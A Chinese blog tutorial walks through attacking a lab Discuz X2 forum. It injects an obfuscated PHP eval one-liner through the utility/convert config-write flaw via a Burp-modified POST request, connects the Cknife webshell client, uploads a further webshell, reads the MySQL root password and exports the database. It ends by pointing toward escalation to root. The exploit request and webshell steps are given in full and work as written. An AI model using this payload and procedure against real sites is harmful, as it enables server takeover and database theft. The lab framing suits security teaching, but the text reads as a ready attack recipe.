数据库渗透

最新推荐文章于 2024-06-21 15:15:00 发布
最新推荐文章于 2024-06-21 15:15:00 发布
阅读量2k 收藏 6
点赞数 5
分类专栏： linux系统调优 安全 文章标签： linux centos 服务器
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_35012243/article/details/116994292
版权

1.1 快速搭建 discuz 论坛
1.2 使用 kali 下 BurpSuite 对 discuz 后台注入 php 木马
1.3 使用 Cknife“菜函”上传 webshell 木马到网站
1.4 使用 Webshell 查看 mysql 数据库密码并盗取数据库

1.1 快速搭建 discuz 论坛

1.1.1 攻击 思路
想要拿下一台主机 A 的权限：
1、了解一下这个服务器：端口，服务器版本，操作系统版本。找漏洞。
2、拿到对 A 有一定权限的身仹。如果对方是一个 WEB 服务器，就利用对方网站应用程序的漏洞，
上传 webshell 然后提权
3、传上去后，得到 apache 用户普通权限，再提权成 root
1.1.2 快速 构建实验 环境
搭 建一个 LAMP 环境 。部署带 有漏洞的 discuz 论 坛
1、漏洞概述：
这漏洞出现在一个 DZ X 系列自带的转换工具里面。
漏洞路径：utility/convert/data/config.inc.php
漏洞发生的原因是：config.inc.php 这个文件在黑客通过 post 写入时，无仸何过滤检测，所以黑客
可以通过 post 方式往 config.inc.php 中写木马程序。
触发漏洞过程：
1、在浏览器中访问打开 http://192.168.1.63/utility/convert/index.php
2、使用/utility/convert/index.php 迚行版本转换时，会自劢创建
utility/convert/data/config.inc.php 文件。
3、config.inc.php 文件没有做过滤，黑客可以使用 post 方法对 config.inc.php 注入木马程序
渗透思路：

2、在 centos7 虚拟机 192.168.1.63上搭建 LAMP 环境
[root@192.168.1.63~]# yum -y install httpd mariadb-server mariadb php php-mysql
参数：mariadb-server 这是 mysql 数据库的一个凾支。
[root@192.168.1.63~]# systemctl start httpd
[root@192.168.1.63~]# systemctl start mariadb
设置mysql数据库root用户的密码：
[root@192.168.1.63~]# mysqladmin -u root password “123456”
[root@192.168.1.63~]# mysql -u root -p123456
MariaDB [(none)]> exit
3、上传到 Discuz_X2_SC_UTF8.zip 到 linux 系统/root 下
[root@192.168.1.63~]#unzip Discuz_X2_SC_UTF8.zip
[root@192.168.1.63~]#mv upload/* /var/www/html/
[root@192.168.1.63~]#mv utility/ /var/www/html/
[root@192.168.1.63~]#cd /var/www/html/
[root@192.168.1.63 html]# chown -R apache:apache uc_server/ data/ config/ uc_client/
[root@192.168.1.63 html]# chown apache:apache utility/convert/data
[root@192.168.1.63 html]# iptables -F #清空防火墙
4、浏览器输入 http://192.168.1.63 安装配置 discuz 论坛
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
到此 discuz 论坛安装完成了。

1.2 使用 kali 下 BurpSuite 对 discuz 后台注入 php 木马

**1.2.1 浏览器上开吭代理模式迚行抓包**

以下操作在 kali linux 上迚行操作
浏览器打开设置页面
在这里插入图片描述
在这里插入图片描述
我们把设置页面拉到最下面找到 Network Proxy
在这里插入图片描述
配置我们的代理设置在这里插入图片描述
1.2.1 在 kali 上使用 burpsuite 迚行抓包
打开 burpsuite。 brup [bɜ:p] 打嗝 ； suite [swi:t] 套件
在这里插入图片描述打开会有提示我们的 jre 我们点击 OK 即可
在这里插入图片描述
注：此窗口弹出的含意如下：
Burp Suite 社区版
您的 JRE 似乎是来自 Oracle 公司的 ll.0.3 版本
Burp 还没有在这个平台上迚行全面测试，您可能会遇到问题。
experience [ɪkˈspɪəriəns] 经历
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们先关闭拦截，点一下 “intercept is on”，变为： “intercept is off”，因为我们要先访问我们
的论坛。
在这里插入图片描述
点完后变为：
在这里插入图片描述
intercept [ˌɪntəˈsept] 拦截 截听
浏览器迚行操作抓包
在 kali 上，打开注入漏洞的地方：http://192.168.1.63/utility/convert/
在这里插入图片描述
然后我们回到 burpsuite 开启拦截
在这里插入图片描述
我们再回到 web 界面点击仸意版本的开始按钮
在这里插入图片描述
回到 burpsuite 查看截取到浏览器数据包：如果之前抓取到了别的数据包，需要先点击 forward 按
钮，把之前的 http 请求都放行了。 然后再访问我们需要访问的链接。
在这里插入图片描述
右键点击空白处，选择 send to repeater 。 repeater [rɪˈpi:tə®] 中继器
在这里插入图片描述
然后在 Repeader 查看信息：
在这里插入图片描述
修改第一行：

GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1

为：注意 POST 后面没有回车 ，这里是文本显示自劢换行了。

POST 
/utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(
101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CH
R(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&su
bmit=yes HTTP/1.1

注：这是一个 php 一句话木马加密后的内容。翻译后的内容为：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0d
eval("$_POST[c];");//]=aaaa&submit=yes
再转换%0a%0d 代表回车换行
POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa 
eval("$_POST[c];"););

扩展 eval()凼数：
eval()凼数中的 eval 是 evaluate 的简称，这个凼数的作用就是把一段字符串当作 PHP 语句来执行，
一般情况下丌建议使用容易被黑客利用。 evaluate [ɪˈvæljueɪt] 评价

eval("echo'hello world';"); 等同于下边的代码：
echo"hello world"; 在浏览器中都输出：hello world

修改完成后发送数据包
在这里插入图片描述
查看执行结果：
登录 192.168.1.63 上，查看刚通过该漏洞注入的文件：
[root@192.168.1.63 html]# cat /var/www/html/utility/convert/data/config.inc.php
注：/var/www/html/utility/convert/data/config.inc.php 这个文件原来的网站上没有的
在这里插入图片描述
可以看到和我们修改提交的参数类似。而且多了很多^M 符号。
扩展：^M 符号
^M 字符的来历和作用：在 DOS/Windows 里，文本文件的换行符为\r\n，而在 linux 系统里则为
\n，所以 DOS/Windows 里编辑过的文本文件到了 linux 里，每一行都多了个M。所以M 只是一个
换行符号，没有实际的用处，我们可以将它保留，也可以将它删除
%0a%0d 等于\r\n

1.3 使用 Cknife“菜函”上传 webshell 木马到网站

1.3.1 在 192.168.1.63 上配置 java 环境
[root@192.168.1.63 ~]#yum install -y java
然后查看 java 版本
[root@192.168.1.63 ~]# java -version
openjdk version “1.8.0_201”
OpenJDK Runtime Environment (build 1.8.0_201-b09)
OpenJDK 64-Bit Server VM (build 25.201-b09, mixed mode)
我们在 centos 上面使用 rz 命令上传 java 版本的菜函和我们后面需要的 webshell2.php
[root@192.168.1.63 ~]# rz
按住 ctrl +鼠标左键可以多选，我们选择 Cknife.jar 和 webshell2.php
在这里插入图片描述
安装完成 java 以后我们再来吭劢菜函程序，需要在图形界面执行此命令
[root@192.168.1.63 ~]#java -jar Cknife.jar
在这里插入图片描述
排错：
如果打开程序后，看到是乱码的，我们更换一下皮肤即可解决乱码问题
在这里插入图片描述
在这里插入图片描述
1.3.2 使用 菜函连接 discuz 论 坛上面的 php 后门程 序
右键点击添加
在这里插入图片描述路径：http://192.168.1.63/utility/convert/data/config.inc.php
密码：c
在这里插入图片描述
双击点开我们添加的地址
在这里插入图片描述
已经可以迚入网站目录
在这里插入图片描述
1.3.3 上传 功能更强 大的木马 文件 webshell2.php
注：这里需要上传到 apache 用户有写权限的目录中，因为安装过程中 discuz 需要管理员修改部凾
权限为 apache 用户，所以必然有可以上传文件的目录，我们可以直接上传到 data 目录下。
在这里插入图片描述
在这里插入图片描述
1.3.4 仸意 机器访问 我们的 webshell2.php 木马文 件
浏览器输入 http://192.168.1.63/utility/convert/data/webshell2.php 输入密码：12345
在这里插入图片描述
成功迚入 webshell
在这里插入图片描述

1.4 使用 Webshell 查看 mysql 数据库密码并盗取数据库

1.4.1 凾析 配置文件 获取数据 库密码
获取 mysql 密码： 迚到 /var/www/html/config/
在这里插入图片描述
获取到 root 用户和密码
在这里插入图片描述1.4.2 导出 数据库文 件
在这里插入图片描述
选中自己想下载的软件包，导出数据库
在这里插入图片描述
保存好这个地址: /var/www/html/utility/convert/data/192.168.1.63_MySQL.sql
在这里插入图片描述
1.4.3 下载 数据库到 本地
在这里插入图片描述也可以使用菜函下载，回到菜函需要点击右键更新缓存。
在这里插入图片描述
在这里插入图片描述到这里就完成了。我们就可以使用 apache 用户迚行提权操作。然后我们就拥有 root 权限了

壹笑饮砒霜
关注
  • 5
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
专栏目录
【网络安全 | 渗透工具】SQLmap精讲（全网最详细图文教程）
等风来
01-06 1万+
SQLmap是一款开源的SQL注入工具，用于检测和利用Web应用程序的SQL注入漏洞。SQLmap支持多种数据库管理系统，包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等，并支持各种不同的操作系统和平台。留言板项目SQLmap渗透实例 | CSDN@秋说本文以目标账号与其它进行讲解。
WEB渗透测试数据库
04-01
PentestDB 1 介绍 本项目用于提供渗透测试的辅助工具、资源文件 1.1 辅助工具 提供轻量级的易扩展的工具，可以快速编写exploit、添加漏洞验证/扫描规则、添加指纹规则、爆破规则等；包含以下功能： Exploit系统。易扩展的exploit系统，能够使用API快速编写exploit，能够批量执行exploit 子域名爆破。爆破子域名，使用域传送、DNS爆破、GoogleHacking进行子域名爆破 C段扫描。C段扫描，支持生成html格式输出文件 服务端应用识别。识别CMS类型、Web服务器、操作系统、WEB中间件等 URI敏感资源爆破。爆破WEB敏感文件，整站备份、配置备份、敏感文件等 社工密码字典生成。根据社工信息生成密码爆破字典 Google Hacking。GoogleHacking，生成URL字典 编解码等功能。支持非常丰富的编解码方式，方便做payload编码 1.2 资源文件 各种渗透测试常用的资源文件，包括各种爆破字典、exploit、webshell、攻击payload等 2 安装 从这里下载最新版本，或使用命令 git clone https://github.com/alpha1e0/pentestdb.git clone到本地 PentestDB支持Windows/Linux/MacOS，需使用python 2.6.x 或 2.7.x运行 2.1 解决lxml依赖 项目中的脚本文件依赖于lxml linux系统一般默认安装lxml，如果没有可通过以下方式安装： pip install lxml apt-get install lxml yum install lxml windows可通过以下方式安装lxml： 到这里找到对应系统的安装包，下载到本地 安装安装包，pip install package.whl 2.2 解决nmap依赖 项目中的C段扫描依赖于nmap扫描器 到这里下载nmap相应版本 在windows下需要设置环境变量，让系统能够找到nmap.exe。 3 使用 3.1 常用脚本 项目中的python脚本提供用有用的渗透辅助功能，根目录下的pen.py为脚本入口，另外script目录下也有其他一些脚本。 3.1.1 Exploit系统 pen.py的exploit子命令提供了exploit模块相关操作，exploit模块是一个轻量级的exploit框架，可以编写各种web漏洞的exploit： 搜索exploit信息 增加、删除、修改exploit信息 执行某个exploit 搜索并批量执行exploit exploit保存在项目根目录下的exploit目录下 例如： # 列举、搜索、注册、更新、删除 pen.py exploit -l pen.py exploit -q appName:joomla pen.py exploit --register exploit pen.py exploit --update cms_joomla_3_4_session_object_injection.py pen.py exploit -d "Joomla 1.5~3.4 session对象注入漏洞exploit" pen.py exploit --detail "Joomla 1.5~3.4 session对象注入漏洞exploit" # 执行exploit pen.py exploit -e cms_joomla_3_4_session_object_injection.py -u http://127.0.0.1:1234 --attack pen.py exploit -s appName:joomla -u http://127.0.0.1:1234 --verify pen.py exploit -s appName:joomla -u @url.txt 注：有关exploit模块的详细信息请参考exploit/readme.md 3.1.2 服务端应用识别 pen.py的service子命令提供了服务端应用识别的功能，能够识别服务器信息，包括： 操作系统 web服务器 web中间件 CMS等 例如： pen.py service http://xxx.com # 开启CMS识别加强模式 pen.py service http://xxx.com --cms 3.1.3 社工密码字典生成 pen.py的password子命令提供了根据社工信息生成密码字典的功能，能够设置不同关键字生成密码字典
实战复盘：内网环境渗透ms-SQL数据库
baimaozi008的博客
06-21 890
渗透环境：如下图所示，web服务器、ms-SQL服务器、PC客户端在同一个网络中，彼此之间，没有路由器或防火墙的隔离，这是一种危险的网络结构，入侵ms-SQL服务器，非常容易。（实战中，web服务是一个中控考勤服务）渗透原理：在win7机（或是kali虚拟机）上，浏览内网web，会触发web服务器联系ms-SQL数据库服务器，获取数据；在kali虚机上，我们可以截流web发送给ms-SQL的数据包，修改其中的sql语句，再将它发给ms-SQL执行，达到操控ms-SQL的目的。
渗透一个网站的基本步骤
weixin_64809022的博客
02-05 3050
渗透测试
数据库被渗透怎么办？WAF真的有用吗
qq177803623的博客
04-23 413
WAF是一种部署在Web应用前端的网络安全系统，它通过对HTTP/HTTPS请求进行实时检测和过滤，能够识别和拦截常见的Web攻击，如SQL注入、跨站脚本攻击等。他们表示，WAF不仅提升了数据库的安全性，还降低了安全事件的发生率，为企业节省了大量的时间和成本。那么，当数据库被渗透时，WAF真的有用吗？WAF提供了丰富的监控和报警功能，可以实时查看Web应用的访问情况和安全状况，及时发现并处理潜在的安全威胁。WAF内置了丰富的攻击特征库和智能学习算法，能够精准识别各种Web攻击手法，确保数据库的安全。
网站渗透思路(小白专看,大佬绕道)
热门推荐
weixin_48477703的博客
06-12 1万+
渗透测试大体可以分为六大步 1. 信息收集 2.漏洞挖掘 3.漏洞利用 4.提升权限 5.清除测试数据 6. 总结归纳输出报告并提出修复建议 首先在获取书面授权的情况下,才可以进行渗透测试,提前询问有没有敏感操作等,首先进行网站的信息收集 ...
MySQL数据库渗透及漏洞利用总结
02-25
各种Mysql注入，Mysql提权，Mysql数据库root账号webshell获取等的，但没有一个对Mysql数据库渗透较为全面对总结，针对这种情况我们开展了研究，虽然我们团队今年正在出版《网络攻防实战研究——漏洞利用与提权》，但...
E116-经典赛题-mssql数据库渗透测试.pdf
12-02
本文主要涉及的是针对MSSQL数据库的渗透测试流程，这是一类常见的网络安全实践，用于评估和加固数据库系统的安全性。以下是整个渗透测试过程的关键步骤和涉及的知识点： 1. **网络扫描**： - 使用Zenmap工具进行...
MDUT v2.1.1 图形化的数据库利用工具，数据库渗透测试工具
11-23
MDUT 全称 Multiple Database Utilization Tools，是一款中文的数据库跨平台利用工具，集合了多种主流的数据库类型。基于前人 SQLTOOLS 的基础开发了这套程序(向 SQLTOOLS 致敬)，旨在将常见的数据库利用手段集合在...
WEB渗透测试数据库.zip
最新发布
06-28
渗透测试
渗透测试——情报收集阶段——渗透测试信息数据库与共享
YT的博客
02-08 1912
使用数据库来保存渗透测试过程中获取的各种数据，这种数据库就是渗透测试信息数据库。在 Metasploit v4 中，提供了多种工具的数据库继承方案和数据导入接口，可以方便地使用这些功能将信息搜集的结果保存在 Metasploit 的数据库中。 使用渗透测试信息数据库的优势 使用方便：Metasploit 中的大量模块都使用了数据库接口，结果能够自动存入数据库中。Metasploit 提供了 db...
靶机数据窃取渗透实验.zip
07-03
数据安全靶机数据渗透窃取实验的一些过程报告，部分过程借鉴整理自网络，仅供学习交流使用。
SQL注入爆库渗透测试（初学者必看）
yi152787的博客
04-30 1918
爆库原理基本一致的，也许站点不同但只要存在sql注入则需要进行数据库爆破，步骤及使用的参数基本相同，对参数不够熟悉的网友可以去某百某博查看相关信息，本次实验结束，本文章仅提供参考，请勿在未授权的情况下进行测试。本次实验利用sqlmap爆破工具对SQL靶场进行渗透测试（数据库爆破），最终目标：拿到用户名和密码，实验中页面出现的用户名密码可忽略，真实实战中一般不会直接爆出用户名和密码的。5.在security爆出users，已确定目标所在，进行第三步爆破 所使用到的参数 -D -T --colimn；
数据库渗透_笔记篇
weixin_43736941的博客
08-07 1452
数据库写入shell 一.可利用sqlmap的–os-shell进行shell写入 利用条件： 存在注入点 要有file_priv权限 知道网站绝对路径 对web目录有写权限 复现过程 1.在centos（ip：172.16.2.240）上搭建漏洞环境sqli-LABS 2.因为写入需要file_priv权限，这里为了实验方便直接连上数据库进行查询，看到为空，说明对目录不做限制。file_priv权限查询如下： show global variables like '%secure%'; 如果为N
utility convert index.php,Discuz!X系列转换工具任意代码写入漏洞 getshell
weixin_39683863的博客
03-26 636
有些论坛 可能路径放在其它目录 没有utility 直接convert等如果看到 转换程序的 data/ 目录不可写 就不用试了 不成功http://127.0.0.1/utility/convert/index.php?a=config&source=d7.2_x2.0post提交：a=config&source=d7.2_x2.0&submit=yes&newc...
伪装discuz代码 php木马,Discuz!X系列转换工具任意代码写入漏洞 getshell
weixin_29964507的博客
03-23 431
有些论坛 可能路径放在其它目录 没有utility 直接convert等如果看到 转换程序的 data/ 目录不可写 就不用试了 不成功http://webshell.cc/utility/convert/index.php?a=config&source=d7.2_x2.0post提交：a=config&source=d7.2_x2.0&submit=yes&...
web渗透-SQL注入数据库信息盗取
豆豆不在了
02-28 4405
sql注入原理 脚本代码接收来自前端数据未进行过滤，导致恶意sql语句插入到数据库中查询执行。 如下代码： <?php $id = $_GET['id']; $sql = "select * from user where id=$id"; ....... $result = mysql_query($sql); ?> sql注入攻击流程 1.and语法判断是否存在注入点
web渗透测试基本步骤
weixin_34313182的博客
03-05 1356
基本常见步骤： 一 、信息收集 要检测一个站首先应先收集信息如whois信息、网站真实IP、旁注、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息有哪些等等 二、收集目标站注册人邮箱 1.用社工库里看看有没有泄露密码，然后尝试用泄露的密码进行登录后台。 2.用邮箱做关键词,丢进搜索引擎。 3.利用搜索到的关联信息找出其他邮进而得到常...
数据库渗透测试SQLMAP适用
06-08
SQLMAP是一个自动化的数据库渗透测试工具，主要是用于检测和利用Web应用程序中的SQL注入漏洞。它可以自动探测目标网站是否存在SQL注入漏洞，然后利用这些漏洞获取目标数据库的敏感数据。因此，SQLMAP非常适用于...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值